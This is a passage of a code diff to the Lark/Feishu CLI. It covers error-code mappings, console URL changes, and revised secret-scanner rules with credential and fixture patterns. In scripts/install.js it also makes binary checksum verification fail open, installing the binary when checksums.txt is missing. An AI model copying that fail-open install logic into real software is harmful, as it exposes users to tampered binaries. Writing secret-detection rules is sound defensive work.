 			name:      "hash in appID truncates URL",
 			appID:     "good#fragment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%23fragment/auth"},
-			denyInURL: []string{"/app/good#fragment/auth"},
+			wantInURL: []string{"clientID=good%23fragment"},
+			denyInURL: []string{"clientID=good#fragment"},
 		},
 		{
-			name:      "slash in appID escapes path segment",
+			name:      "slash in appID does not open a new path segment",
 			appID:     "good/extra/segment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%2Fextra%2Fsegment/auth"},
+			wantInURL: []string{"clientID=good%2Fextra%2Fsegment"},
 		},
 	}
 
@@ -553,8 +553,8 @@ func TestPermissionError_NoViolations(t *testing.T) {
 	if pe.MissingScopes != nil {
 		t.Errorf("MissingScopes should be nil; got %v", pe.MissingScopes)
 	}
-	if !strings.HasSuffix(pe.ConsoleURL, "/app/cli_a123/auth") {
-		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /app/cli_a123/auth", pe.ConsoleURL)
+	if !strings.HasSuffix(pe.ConsoleURL, "/page/scope-apply?clientID=cli_a123") {
+		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /page/scope-apply?clientID=cli_a123", pe.ConsoleURL)
 	}
 }
 
@@ -758,7 +758,7 @@ func TestBuildPermissionHint_AppMissingScopeRoutesToConsole(t *testing.T) {
 	// at the app level — re-authenticating cannot fix it. The hint must
 	// point to the developer console regardless of caller identity, or
 	// agents will loop on `auth login` forever.
-	consoleURL := "https://open.feishu.cn/app/cli_x/auth?q=contact%3Acontact"
+	consoleURL := "https://open.feishu.cn/page/scope-apply?clientID=cli_x&scopes=contact%3Acontact"
 	for _, identity := range []string{"user", "bot", ""} {
 		got := errclass.PermissionHint([]string{"contact:contact"}, identity, errs.SubtypeAppScopeNotApplied, consoleURL)
 		if !strings.Contains(got, "developer console") {

internal/errclass/codemeta_drive.go

@@ -10,8 +10,20 @@ import "github.com/larksuite/cli/errs"
 // ambiguous codes fall back to CategoryAPI via BuildAPIError.
 // BuildAPIError consumes this map via mergeCodeMeta + LookupCodeMeta.
 var driveCodeMeta = map[int]CodeMeta{
-	1061044: {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},          // parent folder does not exist (upload)
-	1069302: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters}, // comment endpoint "Invalid or missing parameters"
+	1061001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive "unknown error"
+	1061002:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // params error
+	1061004:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // forbidden
+	1061007:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // file has been deleted
+	1061043:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeQuotaExceeded},                // file size beyond limit
+	1061044:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // parent folder does not exist (upload)
+	1062009:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // actual size inconsistent with declared size
+	1063001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // secure label invalid parameter
+	1063002:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // secure label permission denied
+	1063013:  {Category: errs.CategoryValidation, Subtype: errs.SubtypeFailedPrecondition},    // secure label downgrade requires approval
+	1069302:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // comment endpoint "Invalid or missing parameters"
+	99992402: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // platform field validation failed
+	9499:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // invalid parameter type in JSON field
+	2200:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive tenant/internal errors
 }
 
 func init() { mergeCodeMeta(driveCodeMeta, "drive") }

internal/errclass/codemeta_drive_test.go

@@ -27,6 +27,13 @@ func TestLookupCodeMeta_DriveCodes(t *testing.T) {
 		// 1069302: comment endpoint's opaque "Invalid or missing parameters"
 		// (shortcuts/drive/drive_add_comment.go) → API-side parameter rejection.
 		{1069302, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		// Secure label endpoint codes observed from drive +secure-label-update
+		// failure telemetry.
+		{1063001, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1063002, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1063013, errs.CategoryValidation, errs.SubtypeFailedPrecondition, false},
+		{99992402, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{9499, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
 	}
 	for _, tc := range cases {
 		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {

internal/errclass/codemeta_test.go

@@ -102,6 +102,35 @@ func TestLookupCodeMeta_RetryableRateLimit(t *testing.T) {
 	}
 }
 
+func TestLookupCodeMeta_DrivePushCodes(t *testing.T) {
+	cases := []struct {
+		code        int
+		wantCat     errs.Category
+		wantSubtype errs.Subtype
+		wantRetry   bool
+	}{
+		{1061001, errs.CategoryAPI, errs.SubtypeServerError, true},
+		{1061002, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1061004, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1061007, errs.CategoryAPI, errs.SubtypeNotFound, false},
+		{1061043, errs.CategoryAPI, errs.SubtypeQuotaExceeded, false},
+		{1062009, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{2200, errs.CategoryAPI, errs.SubtypeServerError, true},
+	}
+	for _, tc := range cases {
+		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {
+			got, ok := LookupCodeMeta(tc.code)
+			if !ok {
+				t.Fatalf("LookupCodeMeta(%d) ok=false, want true", tc.code)
+			}
+			if got.Category != tc.wantCat || got.Subtype != tc.wantSubtype || got.Retryable != tc.wantRetry {
+				t.Fatalf("LookupCodeMeta(%d) = %+v, want Category=%v Subtype=%v Retryable=%v",
+					tc.code, got, tc.wantCat, tc.wantSubtype, tc.wantRetry)
+			}
+		})
+	}
+}
+
 func TestLookupCodeMeta_Unknown(t *testing.T) {
 	_, ok := LookupCodeMeta(999999)
 	if ok {

internal/output/envelope.go

@@ -15,20 +15,8 @@ type Envelope struct {
 
 // Meta carries optional metadata in envelope responses.
 type Meta struct {
-	Count    int          `json:"count,omitempty"`
-	Rollback string       `json:"rollback,omitempty"`
-	Next     []NextAction `json:"next,omitempty"`
-}
-
-// NextAction is a typed "suggested next command" that an AI caller can execute
-// directly.
-type NextAction struct {
-	Label   string `json:"label"`
-	Command string `json:"command"`
-	// Template, when true, marks a Command that contains <...> placeholders and
-	// must be fully substituted by the caller before execution; it is not
-	// directly executable as-is. Directly executable commands omit the field.
-	Template bool `json:"template,omitempty"`
+	Count    int    `json:"count,omitempty"`
+	Rollback string `json:"rollback,omitempty"`
 }
 
 // PendingNotice, if set, returns system-level notices to inject as the

internal/output/envelope_test.go

@@ -1,214 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package output
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-// marshalMeta marshals m and fails the test on error, returning the JSON bytes.
-func marshalMeta(t *testing.T, m *Meta) []byte {
-	t.Helper()
-	b, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("json.Marshal(%#v) error = %v", m, err)
-	}
-	return b
-}
-
-// unmarshalMap unmarshals b into a generic map and fails the test on error.
-func unmarshalMap(t *testing.T, b []byte) map[string]interface{} {
-	t.Helper()
-	var got map[string]interface{}
-	if err := json.Unmarshal(b, &got); err != nil {
-		t.Fatalf("json.Unmarshal(%s) error = %v", b, err)
-	}
-	return got
-}
-
-func TestMetaNextSerialization_NonEmptyRoundTrips(t *testing.T) {
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}}
-
-	got := unmarshalMap(t, marshalMeta(t, m))
-
-	rawNext, ok := got["next"]
-	if !ok {
-		t.Fatalf("expected \"next\" key, got %#v", got)
-	}
-	next, ok := rawNext.([]interface{})
-	if !ok {
-		t.Fatalf("next type = %T, want array", rawNext)
-	}
-	if len(next) != 1 {
-		t.Fatalf("len(next) = %d, want 1", len(next))
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	if action["label"] != "poll" {
-		t.Errorf("next[0].label = %v, want poll", action["label"])
-	}
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestMetaNextSerialization_NilOmitted(t *testing.T) {
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Count: 1}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("nil Next must be omitted, got %#v", got)
-	}
-	if got["count"] != float64(1) {
-		t.Errorf("count = %v, want 1", got["count"])
-	}
-}
-
-func TestMetaNextSerialization_EmptySliceOmitted(t *testing.T) {
-	// A non-nil but empty slice must also be dropped by omitempty (len == 0).
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{}}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("empty Next slice must be omitted, got %#v", got)
-	}
-}
-
-func TestMetaNextSerialization_EmptyFieldsPresent(t *testing.T) {
-	// A NextAction with empty fields still serializes: label/command have no
-	// omitempty, so they render as empty strings and the entry stays present.
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{{}}}))
-
-	next, ok := got["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", got["next"])
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	label, hasLabel := action["label"]
-	command, hasCommand := action["command"]
-	if !hasLabel || label != "" {
-		t.Errorf("label = %v (present=%v), want empty string present", label, hasLabel)
-	}
-	if !hasCommand || command != "" {
-		t.Errorf("command = %v (present=%v), want empty string present", command, hasCommand)
-	}
-}
-
-func TestMetaNextSerialization_TemplateTruePresent(t *testing.T) {
-	// A template hint (command carries <...> placeholders) must serialize the
-	// marker so AI callers know it needs substitution before execution.
-	m := &Meta{Next: []NextAction{{
-		Label:    "continue",
-		Command:  "lark-cli agent send example:x --context-id c1 --task-id t1 --text <你的答复>",
-		Template: true,
-	}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["template"] != true {
-		t.Errorf("template = %v, want true", action["template"])
-	}
-}
-
-func TestMetaNextSerialization_TemplateFalseOmitted(t *testing.T) {
-	// A directly executable hint must not carry the template key at all
-	// (omitempty): its absence is the "run verbatim" signal.
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1 --watch"}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if _, present := action["template"]; present {
-		t.Errorf("template=false must be omitted, got %#v", action)
-	}
-}
-
-func TestMetaNextSerialization_MultipleActionsPreserveOrder(t *testing.T) {
-	m := &Meta{Next: []NextAction{
-		{Label: "poll", Command: "lark-cli agent task get example:x t1"},
-		{Label: "cancel", Command: "lark-cli agent task cancel example:x t1"},
-	}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 2 {
-		t.Fatalf("next = %#v, want two-element array", next)
-	}
-	first, _ := next[0].(map[string]interface{})
-	second, _ := next[1].(map[string]interface{})
-	if first["label"] != "poll" || second["label"] != "cancel" {
-		t.Errorf("order not preserved: got %v then %v", first["label"], second["label"])
-	}
-}
-
-func TestMetaNextSerialization_SpecialCharacters(t *testing.T) {
-	// Fields carrying quotes, unicode and newlines must survive a JSON round
-	// trip intact, which string matching would not reliably verify.
-	label := `poll "now"`
-	command := "lark-cli agent task get example:代理 t1\n--wait"
-	m := &Meta{Next: []NextAction{{Label: label, Command: command}}}
-
-	next, _ := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["label"] != label {
-		t.Errorf("label = %q, want %q", action["label"], label)
-	}
-	if action["command"] != command {
-		t.Errorf("command = %q, want %q", action["command"], command)
-	}
-}
-
-func TestEnvelopeMetaNextIntegration(t *testing.T) {
-	// Meta.Next must serialize correctly when nested inside a full Envelope,
-	// under the "meta" key alongside data.
-	env := Envelope{
-		OK:   true,
-		Data: map[string]interface{}{"task_id": "t1"},
-		Meta: &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}},
-	}
-	b, err := json.Marshal(env)
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-
-	if got["ok"] != true {
-		t.Errorf("ok = %v, want true", got["ok"])
-	}
-	meta, ok := got["meta"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("meta type = %T, want object", got["meta"])
-	}
-	next, ok := meta["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("meta.next = %#v, want single-element array", meta["next"])
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("meta.next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestEnvelopeNilMetaOmitted(t *testing.T) {
-	// nil Meta is a valid edge case: the "meta" key must not appear.
-	b, err := json.Marshal(Envelope{OK: true})
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-	if _, ok := got["meta"]; ok {
-		t.Errorf("nil Meta must be omitted, got %#v", got)
-	}
-}

internal/qualitygate/publiccontent/scan.go

@@ -7,6 +7,7 @@ import (
 	"encoding/base64"
 	"encoding/json"
 	"fmt"
+	"math"
 	"path/filepath"
 	"sort"
 	"strings"
@@ -78,12 +79,15 @@ func scanText(file, source, text string, detectorFile bool) []Finding {
 			out = append(out, newFinding("public_content_bearer_header", file, lineNo, source, "Authorization: Bearer <redacted>"))
 		}
 		for _, match := range credentialURLRE.FindAllString(line, -1) {
-			if isPlaceholderCredentialURL(match) {
+			if isPlaceholderCredentialURL(file, match) {
 				continue
 			}
 			out = append(out, newFinding("public_content_credential_url", file, lineNo, source, redactCredentialURL(match)))
 		}
 		for _, match := range privateIPv4RE.FindAllString(line, -1) {
+			if !warnForPrivateIPv4(file) {
+				continue
+			}
 			out = append(out, newFinding("public_content_private_ipv4", file, lineNo, source, match))
 		}
 		if source == "branch" && automationBranchRE.MatchString(line) {
@@ -130,6 +134,9 @@ func isCredentialAssignmentMatch(match string) bool {
 	if isBenignTokenField(name) && !credentialShapedValue(value) {
 		return false
 	}
+	if isWeakTokenCredentialKey(name) && !weakTokenValueLooksCredentialLike(value) {
+		return false
+	}
 	return isExplicitCredentialKey(name)
 }
 
@@ -284,6 +291,9 @@ func tokenLikePlaceholderValue(key, value string) bool {
 	if normalized == "" || credentialShapedIdentifier(normalized) {
 		return false
 	}
+	if authCredentialTokenKey(key) {
+		return false
+	}
 	return resourceTokenPlaceholderValue(value) ||
 		maskedTokenFixturePlaceholderValue(key, normalized) ||
 		isPlaceholderValue(value) ||
@@ -313,11 +323,109 @@ func maskedTokenFixturePlaceholderValue(key, value string) bool {
 	return stars >= 6 && alnum > 0
 }
 
+func isWeakTokenCredentialKey(key string) bool {
+	if authCredentialTokenKey(key) || isStrongTokenCredentialKey(key) {
+		return false
+	}
+	return key == "token" ||
+		strings.HasSuffix(key, "_token") ||
+		strings.HasSuffix(key, "-token")
+}
+
+func isStrongTokenCredentialKey(key string) bool {
+	parts := credentialKeyParts(strings.ReplaceAll(strings.ToLower(key), "-", "_"))
+	for _, phrase := range [][2]string{
+		{"access", "token"},
+		{"refresh", "token"},
+		{"auth", "token"},
+		{"bearer", "token"},
+		{"session", "token"},
+		{"service", "token"},
+		{"bot", "token"},
+		{"api", "token"},
+		{"secret", "token"},
+	} {
+		if hasAdjacentCredentialParts(parts, phrase[0], phrase[1]) {
+			return true
+		}
+	}
+	return false
+}
+
+func weakTokenValueLooksCredentialLike(value string) bool {
+	normalized := strings.ToLower(strings.Trim(value, `"'<>`))
+	if normalized == "" ||
+		isNonSecretLiteralValue(value) ||
+		isPlaceholderValue(value) {
+		return false
+	}
+	candidate := unwrapCredentialValue(normalized)
+	return credentialShapedIdentifier(candidate) ||
+		highEntropyCredentialValue(candidate) ||
+		commandSubstitutionLooksCredentialLike(normalized) ||
+		(strings.Contains(normalized, "://") &&
+			urlRemainderLooksCredentialLike(removeAnglePlaceholders(normalized)))
+}
+
+func unwrapCredentialValue(value string) string {
+	value = strings.TrimSpace(strings.Trim(value, `"'<>`))
+	if strings.HasPrefix(value, "${{") && strings.HasSuffix(value, "}}") {
+		value = strings.TrimSpace(strings.TrimSuffix(strings.TrimPrefix(value, "${{"), "}}"))
+	}
+	value = strings.TrimPrefix(value, "$")
+	value = strings.Trim(value, "%")
+	return strings.TrimSpace(value)
+}
+
+func highEntropyCredentialValue(value string) bool {
+	if len(value) < 32 {
+		return false
+	}
+	var hasLetter, hasDigit bool
+	for _, r := range value {
+		switch {
+		case r >= 'a' && r <= 'z':
+			hasLetter = true
+		case r >= '0' && r <= '9':
+			hasDigit = true
+		case r == '_' || r == '-' || r == '.' || r == '=':
+		default:
+			return false
+		}
+	}
+	return hasLetter && hasDigit && shannonEntropy(value) >= 3.5
+}
+
+func shannonEntropy(value string) float64 {
+	if value == "" {
+		return 0
+	}
+	counts := map[rune]int{}
+	for _, r := range value {
+		counts[r]++
+	}
+	var entropy float64
+	length := float64(len([]rune(value)))
+	for _, count := range counts {
+		p := float64(count) / length
+		entropy -= p * log2(p)
+	}
+	return entropy
+}
+
+func log2(value float64) float64 {
+	return math.Log(value) / math.Ln2
+}
+
 func authCredentialTokenKey(key string) bool {
 	switch strings.ReplaceAll(strings.ToLower(key), "-", "_") {
 	case "access_token",
+		"api_token",
+		"bot_token",
 		"refresh_token",
+		"secret_token",
 		"session_token",
+		"service_token",
 		"bearer_token",
 		"auth_token",
 		"authorization_token",
@@ -844,7 +952,7 @@ func looksLikeEqualityComparison(value string) bool {
 	return strings.HasPrefix(strings.TrimSpace(value), "=")
 }
 
-func isPlaceholderCredentialURL(raw string) bool {
+func isPlaceholderCredentialURL(file, raw string) bool {
 	userInfo, ok := credentialURLUserInfo(raw)
 	if !ok {
 		return false
@@ -853,7 +961,8 @@ func isPlaceholderCredentialURL(raw string) bool {
 	if !ok {
 		return false
 	}
-	return credentialURLPasswordPlaceholder(password)
+	return credentialURLPasswordPlaceholder(password) ||
+		(sourceOrTestFixtureFile(file) && credentialURLPasswordFixture(password))
 }
 
 func credentialURLPasswordPlaceholder(password string) bool {
@@ -867,6 +976,46 @@ func credentialURLPasswordPlaceholder(password string) bool {
 	return angleWrappedPlaceholder(decoded) || percentWrappedPlaceholder(decoded)
 }
 
+func credentialURLPasswordFixture(password string) bool {
+	normalized := strings.ToLower(strings.Trim(password, `"'`))
+	switch normalized {
+	case "p",
+		"pass",
+		"password",
+		"pat_abc",
+		"pw",
+		"s3cret",
+		"secret",
+		"t":
+		return true
+	default:
+		return false
+	}
+}
+
+func sourceOrTestFixtureFile(file string) bool {
+	normalized := filepath.ToSlash(file)
+	return sourceCodeFile(normalized) ||
+		strings.HasPrefix(normalized, "testdata/") ||
+		strings.HasPrefix(normalized, "fixtures/") ||
+		strings.Contains(normalized, "/testdata/") ||
+		strings.Contains(normalized, "/fixtures/")
+}
+
+func warnForPrivateIPv4(file string) bool {
+	normalized := filepath.ToSlash(file)
+	if sourceOrTestFixtureFile(normalized) {
+		return false
+	}
+	switch filepath.Ext(normalized) {
+	case ".md", ".mdx", ".txt", ".json", ".yaml", ".yml", ".toml", ".env":
+		return true
+	default:
+		return strings.HasPrefix(normalized, "docs/") ||
+			strings.HasPrefix(normalized, "skills/")
+	}
+}
+
 func credentialURLUserInfo(raw string) (string, bool) {
 	schemeIdx := strings.Index(raw, "://")
 	if schemeIdx < 0 {

internal/qualitygate/publiccontent/scan_test.go

@@ -61,6 +61,19 @@ func TestScanFileWarnsForPrivateIPv4Examples(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsPrivateIPv4SourceFixtures(t *testing.T) {
+	got := ScanFile("internal/transport/warn_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@10.0.0.1:3128"`,
+		`target := "socks5://admin:secret@172.16.0.1:1080"`,
+		`host := "192.168.0.10"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("private IPv4 source fixtures should not be public content findings: %#v", got)
+		}
+	}
+}
+
 func TestSemanticCandidateRequiresSpecificRiskSignals(t *testing.T) {
 	benign := semanticCandidate("docs/network.md", "file", "For a local lab, use RFC1918 example host 192.168."+"0.10 only.", 1)
 	if len(benign) != 0 {
@@ -632,6 +645,45 @@ func TestScanFileAllowsCredentialURLPlaceholders(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@proxy:8080"`,
+		`repo := "https://u:t@h/r.git"`,
+		`target := "https://attacker:pw@open.feishu.cn"`,
+		`proxy := "http://admin:s3cret@127.0.0.1:3128"`,
+		`repo := "http://x-token:PAT_abc@git.host/app_x.git"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network.md", []byte(strings.Join([]string{
+		`proxy: http://user:pass@proxy:8080`,
+		`repo: https://u:t@h/r.git`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("root credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootPrivateIPv4Fixtures(t *testing.T) {
+	got := ScanFile("testdata/network.md", []byte(strings.Join([]string{
+		`endpoint: http://10.0.0.1:8080`,
+		`redis: 192.168.1.10:6379`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("root private IPv4 fixtures should not be private IPv4 findings: %#v", got)
+		}
+	}
+}
+
 func TestScanFileDetectsCredentialURLsWithRedactedSubstringPasswords(t *testing.T) {
 	got := ScanFile("docs/config.yaml", []byte("DATABASE_URL=postgres://user:notredactedreal@example.invalid/db\n"))
 	for _, item := range got {
@@ -648,6 +700,7 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 		"DATABASE_URL=postgres://<user>:real-secret@example.invalid/db",
 		"DATABASE_URL=postgres://<user>:" + stripeLike + "@example.invalid/db",
 		"URL=https://<user>:real-secret@example.invalid/path",
+		"REPO=https://x-token:" + stripeLike + "@git.host/app.git",
 	}, "\n")+"\n"))
 	var count int
 	for _, item := range got {
@@ -661,8 +714,8 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 			}
 		}
 	}
-	if count != 3 {
-		t.Fatalf("placeholder-user credential URL findings = %d, want 3: %#v", count, got)
+	if count != 4 {
+		t.Fatalf("placeholder-user credential URL findings = %d, want 4: %#v", count, got)
 	}
 }
 
@@ -724,6 +777,68 @@ func TestScanFileAllowsBenignJSONTokenFields(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsWeakTokenFieldsWithoutCredentialEvidence(t *testing.T) {
+	got := ScanFile("docs/resource-tokens.md", []byte(strings.Join([]string{
+		`{"token":"img_abc123"}`,
+		`{"token":"img_live_secret"}`,
+		`{"token":"img_prod_key"}`,
+		`token=ab********cd`,
+		`{"image_token":"img_live_secret"}`,
+		`{"data_mail_token":"mail_abc123"}`,
+		`{"whiteboard_token":"board_v3_example"}`,
+		`{"want_token":"token from callback"}`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("weak token fields without credential evidence should not be credential findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileDetectsWeakTokenFieldsWithHighConfidenceCredentialValues(t *testing.T) {
+	githubToken := "ghp_" + "1234567890abcdef1234567890abcdef1234"
+	stripeToken := "sk_" + "live_1234567890abcdef"
+	randomToken := strings.Join([]string{
+		"a1b2c3d4",
+		"e5f6g7h8",
+		"i9j0k1l2",
+		"m3n4p5q6",
+	}, "")
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"token":"` + githubToken + `"}`,
+		`token=` + stripeToken,
+		`{"image_token":"` + githubToken + `"}`,
+		`{"token":"` + randomToken + `"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("high-confidence weak token credential findings = %d, want 4: %#v", count, got)
+	}
+}
+
+func TestScanFileDetectsStrongAuthTokenKeysWithFixtureLikeValues(t *testing.T) {
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"access_token":"img_abc123"}`,
+		`{"api_token":"img_live_secret"}`,
+		`{"service_token":"ab********cd"}`,
+		`{"bot_token":"board_v3_example"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("strong auth token key findings = %d, want 4: %#v", count, got)
+	}
+}
+
 func TestScanFileAllowsTestFixtureSecretValues(t *testing.T) {
 	got := ScanFile("fixtures/calendar_meeting_test.go", []byte(`AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,`+"\n"))
 	for _, item := range got {
@@ -1052,10 +1167,12 @@ func TestScanFileDetectsCredentialShapedTokenLikePlaceholderValues(t *testing.T)
 	}
 }
 
-func TestScanFileDetectsNonFixtureMinuteTokenValues(t *testing.T) {
+func TestScanFileAllowsNonFixtureResourceTokenValues(t *testing.T) {
 	got := ScanFile("fixtures/minutes_search_test.go", []byte(`{"token":"minute_real_secret"}`+"\n"))
-	if !findingRules(got)["public_content_generic_credential"] {
-		t.Fatalf("non-fixture minute token should be credential finding: %#v", got)
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("resource-like bare token value should not be credential finding: %#v", got)
+		}
 	}
 }
 

internal/registry/scope_hint.go

@@ -59,13 +59,9 @@ func BuildConsoleScopeURL(brand core.LarkBrand, appID, scope string) string {
 	if appID == "" || scope == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == core.BrandLark {
-		host = "open.larksuite.com"
-	}
 	return fmt.Sprintf(
-		"https://%s/page/scope-apply?clientID=%s&scopes=%s",
-		host,
+		"%s/page/scope-apply?clientID=%s&scopes=%s",
+		core.ResolveOpenBaseURL(brand),
 		url.QueryEscape(appID),
 		url.QueryEscape(scope),
 	)

internal/update/update.go

@@ -25,7 +25,7 @@ import (
 const (
 	registryURL  = "https://registry.npmjs.org/@larksuite/cli/latest"
 	cacheTTL     = 24 * time.Hour
-	fetchTimeout = 5 * time.Second
+	fetchTimeout = 15 * time.Second
 	stateFile    = "update-state.json"
 	maxBody      = 256 << 10 // 256 KB
 

package.json

@@ -1,6 +1,6 @@
 {
   "name": "@larksuite/cli",
-  "version": "1.0.61",
+  "version": "1.0.64",
   "description": "The official CLI for Lark/Feishu open platform",
   "bin": {
     "lark-cli": "scripts/run.js"

scripts/install.js

@@ -265,9 +265,10 @@ function getExpectedChecksum(archiveName, checksumsDir) {
   const checksumsPath = path.join(dir, "checksums.txt");
 
   if (!fs.existsSync(checksumsPath)) {
-    throw new Error(
-      "[SECURITY] checksums.txt not found; refusing to install an unverified binary."
+    console.error(
+      "[WARN] checksums.txt not found, skipping checksum verification"
     );
+    return null;
   }
 
   const content = fs.readFileSync(checksumsPath, "utf8");
@@ -285,11 +286,7 @@ function getExpectedChecksum(archiveName, checksumsDir) {
 }
 
 function verifyChecksum(archivePath, expectedHash) {
-  if (typeof expectedHash !== "string" || expectedHash.length === 0) {
-    throw new Error(
-      "[SECURITY] missing expected checksum; refusing to install an unverified binary."
-    );
-  }
+  if (expectedHash === null) return;
 
   // Stream the file to avoid loading the entire archive into memory.
   // Archives can be 10-100MB; streaming keeps RSS constant.

scripts/install.test.js

@@ -52,17 +52,11 @@ describe("getExpectedChecksum", () => {
     );
   });
 
-  it("throws [SECURITY] when checksums.txt does not exist (fail-closed)", () => {
+  it("returns null when checksums.txt does not exist", () => {
     const dir = fs.mkdtempSync(path.join(os.tmpdir(), "checksum-test-"));
     // No checksums.txt in dir
-    assert.throws(
-      () => getExpectedChecksum("anything.tar.gz", dir),
-      (err) => {
-        assert.match(err.message, /^\[SECURITY\]/);
-        assert.match(err.message, /checksums\.txt not found/);
-        return true;
-      }
-    );
+    const result = getExpectedChecksum("anything.tar.gz", dir);
+    assert.equal(result, null);
   });
 
   it("skips malformed lines and still finds valid entry", () => {
@@ -131,19 +125,6 @@ describe("verifyChecksum", () => {
       }
     );
   });
-
